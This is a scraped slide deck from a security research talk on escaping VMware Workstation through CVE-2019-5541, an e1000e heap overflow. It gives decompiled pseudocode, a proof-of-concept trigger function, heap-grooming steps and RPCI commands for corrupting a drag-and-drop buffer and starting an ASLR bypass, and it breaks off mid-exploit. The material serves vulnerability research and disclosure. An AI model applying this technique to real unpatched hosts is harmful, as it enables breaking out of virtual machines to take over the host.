A CTF-Style Escape Journey on VMware Workstation f1yyy@Chaitin.Tech - - PowerPoint PPT Presentation

a ctf style escape journey on vmware workstation
SMART_READER_LITE
LIVE PREVIEW

A CTF-Style Escape Journey on VMware Workstation f1yyy@Chaitin.Tech - - PowerPoint PPT Presentation

A CTF-Style Escape Journey on VMware Workstation f1yyy@Chaitin.Tech About us Beijing Chaitin Tech Co., Ltd(@ChaitinTech) https://chaitin.cn/en https://realworldctf.com/ Chaitin Security Research Lab Pwn2Own 2017 3 rd place


slide-1
SLIDE 1

A CTF-Style Escape Journey

  • n VMware Workstation

f1yyy@Chaitin.Tech

slide-2
SLIDE 2

About us

  • Beijing Chaitin Tech Co., Ltd(@ChaitinTech)

○ https://chaitin.cn/en ○ https://realworldctf.com/

  • Chaitin Security Research Lab

○ Pwn2Own 2017 3rd place ○ GeekPwn 2015/2016/2018/2019 awardees ■ PS4 Jailbreak, Android rooting, IoT Offensive Research, ESXi Escape ○ CTF players from team b1o0p, Tea Deliverers ■ 2nd place at DEFCON 2016 ■ 3rd place at DEFCON 2019 ■ 1st place at HITCON 2019

slide-3
SLIDE 3

Before we start

  • VMM(Hypervisor):Virtual Machine Monitor
  • Guest OS
  • Host OS
slide-4
SLIDE 4

What is Virtual Machine Escape

VMM Guest OS Guest OS 1 Guest OS N ... Host OS ... Normally, all of the sensitive behaviors of guest OS will be sanitized by the hypervisor

slide-5
SLIDE 5

What is Virtual Machine Escape

VMM Guest OS Guest OS 1 Guest OS N ... Host OS ...

slide-6
SLIDE 6

What is Virtual Machine Escape

VMM Guest OS Guest OS 1 Guest OS N ... Host OS

exploitation

...

slide-7
SLIDE 7

What is Virtual Machine Escape

VMM Guest OS Guest OS 1 Guest OS N ... Host OS

exploitation

Execute arbitrary codes

  • n the host

network connection

...

slide-8
SLIDE 8

Introduction of VMware Workstation

slide-9
SLIDE 9

Architecture

Host OS

Physical Hardware

User mode

slide-10
SLIDE 10

Architecture after vmware runs

Host OS Physical Hardware

User mode

VM Monitor vmware-vmx vmmon VM VM VM Host World VM World

slide-11
SLIDE 11

Architecture after vmware runs

Host OS Physical Hardware

User mode

VM Monitor vmware-vmx vmmon VM VM VM Host World VM World

slide-12
SLIDE 12

Architecture after vmware runs

Host OS Physical Hardware

User mode

VM Monitor vmware-vmx vmmon VM VM VM Host World VM World

slide-13
SLIDE 13

Attack Surface

Graphic Ethernet USB SATA SCSI COM

slide-14
SLIDE 14

Attack in Recent Years

(Pwn2Own 2019)

Graphic Ethernet USB SATA SCSI COM

(TianfuCup 2018) (Pwn2Own 2017)

slide-15
SLIDE 15

Our Target

(Pwn2Own 2019)

Graphic Ethernet USB SATA SCSI COM

(TianfuCup 2018) (Pwn2Own 2017)

slide-16
SLIDE 16

CVE-2019-5541 Analysis

slide-17
SLIDE 17

How e1000e works?

Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers

slide-18
SLIDE 18

How e1000e works?

Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers write

slide-19
SLIDE 19

How e1000e works?

Guest OS TDT TDH TDBAL TDBAH e1000e virtual network card registers write

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

slide-20
SLIDE 20

How e1000e works?

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

union{ struct{ uint64_t buf_addr; uint64_t size; }transfer_data; struct{ uint8_t ipcss; //IP checsum start uint8_t ipcso; //IP checsum offset uint16_t ipcse; //IP checsum end uint8_t tucss; //TCP checsum start uint8_t tucso; //TCP checsum offset uint16_t tucse; //TCP checsum end uint32_t cmd_and_length; uint8_t status; //Descriptor status uint8_t hdr_len; //Header length uint16_t mss; //Maximum segment size }prop_desc; }tranfer;

slide-21
SLIDE 21

How e1000e works?

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ...

slide-22
SLIDE 22

How e1000e works?

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ...

slide-23
SLIDE 23

CVE-2019-5541

void __usercall e1000_process_TXD_CMD_DEXT() { ... packet = e1000_init_packet(...); if(packet){ ... e1000_send_packet(...,packet); } ... }

slide-24
SLIDE 24

CVE-2019-5541

void __usercall e1000_init_packet(...) { ... if(flag_if_not_ipv6_GSO){ ip_checsum_start = ipcss; if(ipcss > hdr_size || ipcso > hdr_size || ipcse > hdr_size-ipcse || hdr_size - ipcso < 2) goto error ) } else{ ip_checksum_start = ipcss; } ... }

slide-25
SLIDE 25

CVE-2019-5541

void __usercall e1000_init_packet(...) { ... if(flag_if_not_ipv6_GSO){ ip_checsum_start = ipcss; if(ipcss > hdr_size || ipcso > hdr_size || ipcse > hdr_size-ipcse || hdr_size - ipcso < 2) goto error ) } else{ ip_checksum_start = ipcss; } ... }

flag_if_not_ipv6_GSO will be false when guest is sending IPv6 Large Segmentation Offload packets

slide-26
SLIDE 26

CVE-2019-5541

void __usercall e1000_init_packet(...) { ... if(flag_if_not_ipv6_GSO){ ip_checsum_start = ipcss; if(ipcss > hdr_size || ipcso > hdr_size || ipcse > hdr_size-ipcse || hdr_size - ipcso < 2) goto error ) } else{ ip_checksum_start = ipcss; } ... }

No check of ipcss anymore!

slide-27
SLIDE 27

CVE-2019-5541

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ...

where does ipcss come from

slide-28
SLIDE 28

Preliminary Exploit Primitive

void __usercall e1000_init_packet(...) { ... hdr_size = hdr_len + vlan_size; //vlan_size will be 4 or 0 sigment_num = (mss + pay_size - 1) / mss; ... simple_segment_size = (mss+hdr_size+0x11)&0xfffffff8; packet = malloc(sigment_num * simple_segment_size); ... if(mss){ buf = &packet[ipcss+10]; data = hdr + mss - ipcss; if(flag_0) *(buf+2) = htons(data); } ... }

slide-29
SLIDE 29

Preliminary Exploit Primitive

void __usercall e1000_init_packet(...) { ... hdr_size = hdr_len + vlan_size; //vlan_size will be 4 or 0 sigment_num = (mss + pay_size - 1) / mss; ... simple_segment_size = (mss+hdr_size+0x11)&0xfffffff8; packet = malloc(sigment_num * simple_segment_size); ... if(mss){ buf = &packet[ipcss+10]; data = hdr + mss - ipcss; if(flag_0) *(buf+2) = htons(data);//heap overflow write happens! } ... }

slide-30
SLIDE 30

Preliminary Exploit Primitive

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO); ...

slide-31
SLIDE 31

Preliminary Exploit Primitive

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ...

slide-32
SLIDE 32

Preliminary Exploit Primitive

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

slide-33
SLIDE 33

Preliminary Exploit Primitive

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

We can do “special” heap out-of-bounds subtraction

slide-34
SLIDE 34

Example

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

0x000000a0

slide-35
SLIDE 35

Example

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

0x000000a0

slide-36
SLIDE 36

Example

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

0x000000a0

slide-37
SLIDE 37

Example

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

0x0000ff9f

slide-38
SLIDE 38

How to Exploit?

slide-39
SLIDE 39

Limitations

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

if(transfer.length & E1000_TXD_CMD_DEXT) e1000_process_TXD_CMD_DEXT(...); else //init e1000e property prop = &e1000e->prop; prop->ipcss = transfer.prop_desc.ipcss; ...

where does ipcss come from

slide-40
SLIDE 40

Limitations

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

union{ struct{ uint64_t buf_addr; uint64_t size; }transfer_data; struct{ uint8_t ipcss; //IP checsum start uint8_t ipcso; //IP checsum offset uint16_t ipcse; //IP checsum end uint8_t tucss; //TCP checsum start uint8_t tucso; //TCP checsum offset uint16_t tucse; //TCP checsum end uint32_t cmd_and_length; uint8_t status; //Descriptor status uint8_t hdr_len; //Header length uint16_t mss; //Maximum segment size }prop_desc; }tranfer;

slide-41
SLIDE 41

Limitations

e1000e virtual network card

mem = registers[TDBAH]<<32|registers[TDBAL]; mem = mem + registers[TDH]*sizeof(transfer); ReadGuestMem(mem,&transfer); //Handle transfer struct ... ... registers[TDH]++; if(registers[TDH]==registers[TDT]) return; else loop;

packet transfer

union{ struct{ uint64_t buf_addr; uint64_t size; }transfer_data; struct{ uint8_t ipcss; //IP checsum start uint8_t ipcso; //IP checsum offset uint16_t ipcse; //IP checsum end uint8_t tucss; //TCP checsum start uint8_t tucso; //TCP checsum offset uint16_t tucse; //TCP checsum end uint32_t cmd_and_length; uint8_t status; //Descriptor status uint8_t hdr_len; //Header length uint16_t mss; //Maximum segment size }prop_desc; }tranfer;

ipcss is only one byte!

slide-42
SLIDE 42

How far can we overwrite?

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

slide-43
SLIDE 43

How far can we overwrite?

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

The offset we overwrite < simple_segment_size*(sigment_num-1)+0x100+10+2

slide-44
SLIDE 44

Can we control the content?

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

slide-45
SLIDE 45

Can we control the content?

void __usercall e1000_init_packet(...) { ... ... cur_buffer = packet; transfer_pay_size = pay_size; while(idx < sigment_num){ ... //copy data from guest into packet ... cur_buffer = cur_buffer + simple_segment_size; transfer_pay_size = transfer_pay_size - mss; ... if(transfer_pay_size <= mss){ change_ip_head(cur_buffer+ipcss+10, mss - transfer_pay_size, flag_if_not_ipv6_GSO);//heap out-of-bounds write happens ... void __usercall change_ip_head( uint16_t *buf,int size,int flag ) { ... if(flag){ ... } else{ tmp = ntohs(buf[2]); buf[2] = htons(tmp - size); ...

No,we can do “special” heap out-of-bounds subtraction

slide-46
SLIDE 46

Here comes a idea

  • We need a structure

○ The structure must have buffer and size. ○ We can pad to its’ buffer easily.

  • If we can locate a structure follow the packet buffer by heap fengshui

○ We can overwrite the size of the structure. ○ We can do continuous out-of-bounds writing on heap.

slide-47
SLIDE 47

Here comes a idea

  • We need a structure

○ The structure must have buffer and size. ○ We can pad to its’ buffer easily.

  • If we can locate a structure follow the packet buffer by heap fengshui

○ We can overwrite the size of the structure. ○ We can do continuous out-of-bounds writing on heap.

  • We need to find a structure first
slide-48
SLIDE 48

Useful Structure on Heap:SVGA mob

struct SVGA_mob{ uint32_t cmid; . . . void * guest_memory;//offset: 0x50 uint32_t size; //offset: 0x58 . . . }

SVGA mob is used in SVGA 3d command. It can be easily used to copy data from one mob to another.

Total size: 0x60

slide-49
SLIDE 49

Useful Structure on Heap:SVGA mob

struct SVGA_mob{ uint32_t cmid; . . . void * guest_memory;//offset: 0x50 uint32_t size; //offset: 0x58 . . . }

SVGA mob is used in SVGA 3d command. It can be easily used to copy data from one mob to another. But it was removed from heap in recent version!

Total size: 0x60

slide-50
SLIDE 50

Useful Structure on Heap:Resource Container

struct SVGA_resource_container{ uint32_t RCtype; . . . void * DataBuffer . . . }

Resource Container is used in SVGA 3d command.

Total size: xxx

slide-51
SLIDE 51

Useful Structure on Heap:Resource Container

struct SVGA_resource_container{ uint32_t RCtype; . . . void * DataBuffer . . . }

Resource Container is used in SVGA 3d command. But it’s too large!

Total size: xxx

slide-52
SLIDE 52

Useful Structure on Heap:Resource Container

struct SVGA_resource_container{ uint32_t RCtype; . . . void * DataBuffer . . . }

Resource Container is used in SVGA 3d command. But it’s too large! Note: Blackhat EU:《Straight outta VMware: Modern exploitation of the SVGA device for guest-to-host escape exploits》 ZDI: 《Taking Control of VMware through the Universal Host Control Interface》

Total size: xxx

slide-53
SLIDE 53

Useful Structure on Heap:DnD/CP V3

struct DnDV3{ void * vtable; . . . struct RpcV3Util mUtil;//offset: 0x30 } Total size: 0xa8

slide-54
SLIDE 54

Useful Structure on Heap:DnD/CP V3

struct DnDV3{ void * vtable; . . . struct RpcV3Util mUtil;//offset: 0x30 } Total size: 0xa8 struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 }

slide-55
SLIDE 55

Useful Structure on Heap:DnD/CP V3

struct DnDV3{ void * vtable; . . . struct RpcV3Util mUtil;//offset: 0x30 } Total size: 0xa8 struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 } struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . }

slide-56
SLIDE 56

Choos victim structure

struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 }

  • We can initialize and pad buffer of mRecvBuf

○ Using RPCI command dnd.transport

struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . }

slide-57
SLIDE 57

Choos victim structure

struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 }

  • We can initialize and pad buffer of mRecvBuf

○ Using RPCI command dnd.transport

  • We can overwrite the totalSize!

struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . }

slide-58
SLIDE 58

Choos victim structure

struct RpcV3Util{ void * vtable; . . . struct DnDTransportBuffer mSendBuf;//offset: 0x18 struct DnDTransportBuffer mRecvBuf;//offset: 0x40 }

  • We can initialize and pad buffer of mRecvBuf

○ Using RPCI command dnd.transport

  • We can overwrite the totalSize!
  • Once we overwrite the totalSize, we can do continuous out-of-bounds writing on

heap!

struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . }

slide-59
SLIDE 59

A PoC of it

void e1000_overflow_write_size_0xa0(uint32_t offset) { //Make sure the past packets have been sent; ... //create first packet to initialize e1000e properties desc = (struct context_desc *)&packet[0]; desc->cmd = 0x1f|(1<<26)|(1<<29)|(1<<24); desc->hdr_len=0x30; desc->mss = 0x10; desc->ipcss = offset-0xa-0x4-((desc->hdr_len+desc->mss+0x11)&0xfffffff8); //create second packet to send ipv6 GSO packet data = (struct data_desc *)&packet[2]; data->len = 0x800|(1<<26)|(1<<25)|(1<<29)|(1<<20)|(1<<24); //Then send the packets ... }

slide-60
SLIDE 60

Before we start

  • We will use two RPCI commands to help us defeat ASLR

○ info-set guestinfo.KEY value ○ info-get guestinfo.KEY

slide-61
SLIDE 61

Before we start

  • We will use two RPCI commands to help us defeat ASLR

○ info-set guestinfo.KEY value ○ info-get guestinfo.KEY

  • Example

f1yyy@ubuntu:~/vmware-rpctool “info-set guestinfo.test 1234” f1yyy@ubuntu:~/vmware-rpctool “info-get guestinfo.test” 1234 f1yyy@ubuntu:~/

slide-62
SLIDE 62

Before we start

  • We will use dnd.transport to control DnDV3.RpcV3Util.mRecvBuf
  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>”

slide-63
SLIDE 63

Before we start

  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type; uint32_t seqNum; uint32_t totalSize; uint32_t payloadSize; uin32_t offset; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=NULL; uint64_t totalSize=0; uint64_t offset=0; . . . }

slide-64
SLIDE 64

Before we start

  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=NULL; uint64_t totalSize=0; uint64_t offset=0; . . . }

slide-65
SLIDE 65

Before we start

  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=NULL; uint64_t totalSize=0; uint64_t offset=0; . . . } Transfer 0x10 data

slide-66
SLIDE 66

Before we start

  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=malloc(0xa8); uint64_t totalSize=0xa8; uint64_t offset=0x10; . . . } Transfer 0x10 data

slide-67
SLIDE 67

Before we start

  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0x10; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=malloc(0xa8); uint64_t totalSize=0xa8; uint64_t offset=0x10; . . . } Transfer another 0x10 data

slide-68
SLIDE 68

Before we start

  • Example

f1yyy@ubuntu:~/vmware-rpctool “dnd.transport <struct DnDTransferPacketHeader>” DnDTrasnferPacketHeader{ uint32_t type=3; uint32_t seqNum=0; uint32_t totalSize=0xa8; uint32_t payloadSize=0x10; uin32_t offset=0x10; char data[1] } mRecvBuffer{ Uint64_t seqNum=0; void * buffer=malloc(0xa8); uint64_t totalSize=0xa8; uint64_t offset=0x20; . . . } Transfer another 0x10 data

slide-69
SLIDE 69

Exploit

  • For Windows Low Fragmented Heap, chunk of size 0xa8 will be allocated in the

same bucket and in a contiguous address space.

Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-70
SLIDE 70

Exploit

  • Allocate DnD structure

○ tools.capability.dnd_version 3 ○ vmx.capability.dnd_version

Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-71
SLIDE 71

Exploit

  • Allocate DnD structure

○ tools.capability.dnd_version 3 ○ vmx.capability.dnd_version

Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-72
SLIDE 72

Exploit

  • Then initialize mRecvBuffer by using dnd.transport

Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer; uint64_t totalSize; uint64_t offset; . . . }mRecvBuf; Free

slide-73
SLIDE 73

Exploit

  • Then initialize mRecvBuffer by using dnd.transport

Free Free Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer=malloc(0xa0) uint64_t totalSize=0xa0 uint64_t offset=0 . . . }mRecvBuf; Free

slide-74
SLIDE 74

Exploit

  • Then initialize mRecvBuffer by using dnd.transport

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free struct DnDTransportBuffer{ Uint64_t seqNum; void * buffer=malloc(0xa0) uint64_t totalSize=0xa0 uint64_t offset=0 . . . }mRecvBuf; Free Free

slide-75
SLIDE 75

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-76
SLIDE 76

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ e1000_overflow_write_size_0xa0(0x130)

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-77
SLIDE 77

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ e1000_overflow_write_size_0xa0(0x130)

Free DnD Buffer Free Packet Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-78
SLIDE 78

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ e1000_overflow_write_size_0xa0(0x130)

Free DnD Buffer Free Packet Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Out-of-bound write Free Free

slide-79
SLIDE 79

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ e1000_overflow_write_size_0xa0(0x130) ○ The packet will be free after sending

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-80
SLIDE 80

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ Try e1000_overflow_write_size_0xa0(0x130) many times

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-81
SLIDE 81

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ Try e1000_overflow_write_size_0xa0(0x130) many times ○ Once the packet locates just before DnD v3

Free DnD Buffer Free Free Free Free Free Packet DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free totalSize=0x00a0 Before out-of-bound write Free Free

slide-82
SLIDE 82

Exploit

  • Now let’s try to overwrite the Totalsize of mRecvBuf

○ Try e1000_overflow_write_size_0xa0(0x130) many times ○ Once the packet locates just before DnD v3

Free DnD Buffer Free Free Free Free Free Packet DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free totalSize=0xff9f After out-of-bound write Free Free

slide-83
SLIDE 83

Exploit

  • Now we can overwrite continuous heap memory
  • But we still need to defeat ASLR

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free After out-of-bound write totalSize=0xff9f

slide-84
SLIDE 84

Exploit

  • To defeat ASLR

○ Padding heap with info-set ■ info-set guestinfo.XXX A*0xa0

Free DnD Buffer Free Free Free Free Free Free DnD v3 Free Free Free Free Free Free Free Free Free Free Free Free Free Free Free

slide-85
SLIDE 85

Exploit

  • To defeat ASLR

○ Padding heap with info-set ■ info-set guestinfo.XXX A*0xa0

Free DnD Buffer Free AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free

slide-86
SLIDE 86

Exploit

  • To defeat ASLR

○ Overwrite heap memory after DnD Buffer

Free DnD Buffer Free AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free

slide-87
SLIDE 87

Exploit

  • To defeat ASLR

○ Overwrite heap memory after DnD Buffer

Free DnD Buffer BBBBB... AAAAA... Free AAAAA... Free Free DnD v3 Free Free Free AAAAA... AAAAA... Free Free Free Free Free AAAAA... Free Free Free Free

slide-88
SLIDE 88

Exploit

  • To defeat ASLR

